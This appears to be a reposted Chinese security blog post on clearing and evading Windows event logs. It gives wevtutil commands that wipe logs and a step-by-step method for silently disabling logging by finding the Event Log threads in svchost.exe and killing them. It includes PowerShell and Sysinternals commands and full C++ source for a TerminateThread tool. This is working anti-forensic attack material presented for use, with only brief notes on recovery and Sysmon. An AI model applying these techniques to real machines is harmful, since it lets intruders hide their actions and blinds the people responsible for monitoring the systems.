Windows日志的刪除與繞過


Windows日志的清除與繞過

簡介
  • 日志的清除
  • 日志的繞過
分類
  • 應用程序
  • 安全
  • setup
  • 系統
  • 轉發事件
日志查看方法
  1. 我的電腦右鍵-管理-計算機管理-管理工具-事件查看器
  2. control-管理工具-事件查看器
  3. 搜索
  4. eventvwr
  5. win10右鍵開始菜單-事件查看器
  6. powershell Get-winevent查看所有日志
清除方法
  1. wevtutil.exe
    操作系統默認包含,win7及以上
    1. 統計日志列表,查詢所有日志信息。
      wevtutile.exe gli Application
    2. 查看指定類型日志
      wevtutil qe /f:text Application
    3. 刪除該類日志所有內容
      wevtutil cl Application
  2. NSA DanderSpiritz

相關鏈接:https://3gstudent.github.io/3gstudent.github.io/NSA-DanderSpiritz測試指南-木馬生成與測試/

Windows日志繞過方法
原理:

Windows日志對應於eventlog服務,找到該服務對應的進程svchost.exe,進而篩選出svchost.exe進程中具體實現日志功能的線程,調用TerminateThread結束線程,破壞日志記錄功能

特點:

由於只結束了實現日志功能的線程,所以Windows Event Log服務沒有被破壞,狀態仍為正在運行

繞過方法一:
  1. 定位eventlog服務對應進程svchost.exe的pid
  2. 遍歷該進程中的所有線程
  3. 判斷線程是否滿足條件Windows Event Log 服務需要調用wevtsvc.dll,完整路徑為%WinDir%\System32\wevtsvc.dll並且,如果線程調用了wevtsvc.dll,就可以判讀該線程實現了日志記錄功能
  4. 結束線程使用TerminateThread

注:

Halil Dalabasmaz@hlldz使用powershell實現了方法一,完整代碼可參考:https://github.com/hlldz/Invoke-Phant0mpowershell腳本執行后,Windows日志功能失效,無法記錄日志,操作如下圖

  1. 恢復方法結束進程svchost.exe重新開啟Windows Event Log 服務:net start eventlog
繞過方法二
  1. 定位eventlog服務對應進程svchost.exe的pidpowershell代碼如下:
Get-WmiObject -Class win32_service -Filter "name = 'eventlog'" | select -exp ProcessId
  1. 遍歷該進程中的所有線程
    使用PsList,下載地址:https://technet.microsoft.com/en-us/sysinternals/bb896682.aspx
    具體參數如下:
    pslist.exe /accepteula -d 7008
    獲取進程svchost.exe中的所有線程,如下圖

  2. 判斷線程是否滿足條件

獲取線程對應的服務,如果為eventlog,則滿足條件使用工具:ScTagQuery,下載地址:http://www.winsiderss.com/tools/sctagquery/sctagqry.zip
具體參數如下:
sctagqry.exe -t 7928
根據返回的結果Service Tag,判斷線程對應的服務找到對應eventlog的線程,如下圖

線程8136符合條件,依次嘗試,直到獲取所有符合條件線程

注:
使用Process Explorer可以簡化此過程找到eventlog服務對應進程svchost.exe如下圖

右鍵查看屬性,選擇Threads標簽,查看線程,可直接獲得線程對應的服務如下圖

符合條件的線程TID為:

  • 8136
  • 8052
  • 6708
  • 2316
  • 6356
  1. 結束線程
    調用TerminateThread通過c++實現,部分代碼如下:

/*
    TerminateEventLogThread.cpp
    Author:3gstudent@3gstudent
    Use to terminate Event Log thread
*/

#include <windows.h>

BOOL SetPrivilege()  
{  
    HANDLE hToken;   
    TOKEN_PRIVILEGES NewState;   
    LUID luidPrivilegeLUID;   
    if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)||!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luidPrivilegeLUID))   
    {   
        printf("SetPrivilege Error\n");  
        return FALSE;   
    }   
    NewState.PrivilegeCount = 1;   
    NewState.Privileges[0].Luid = luidPrivilegeLUID;   
    NewState.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;   
    if(!AdjustTokenPrivileges(hToken, FALSE, &NewState, NULL, NULL, NULL))  
    {  
        printf("AdjustTokenPrivilege Errro\n");  
        return FALSE;  
    }  
    return TRUE;  
}
int main(int argc, char* argv[])
{       
        SetPrivilege();
        printf("TerminateThread TID:\n");       
        for(int i=1;i<argc;i++)
        {       
                printf("%s\n",argv[i]);
                HANDLE hThread = OpenThread(0x0001, FALSE,atoi(argv[i]));
                if(TerminateThread(hThread,0)==0)
                        printf("[!] TerminateThread Error, TID: %s \n",argv[i]);
                CloseHandle(hThread);
        }  
        return 0;
}

控制台支持傳入多個參數,向其傳入5個TID: 8136 8052 6708 2316 6356自動結束對應線程,日志功能失效
具體操作如下圖:

完整實現代碼https://github.com/3gstudent/Windwos-EventLog-Bypass

補充
  1. 安裝sysmon可對Windows日志功能進行擴展
    參考:https://3gstudent.github.io/3gstudent.github.io/通過APC實現Dll注入-繞過Sysmon監控/
  2. 繞過方法僅針對windows日志
    對應用程序和服務日志失效,例如Windows Powershell

文章摘自3gstudent博客


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM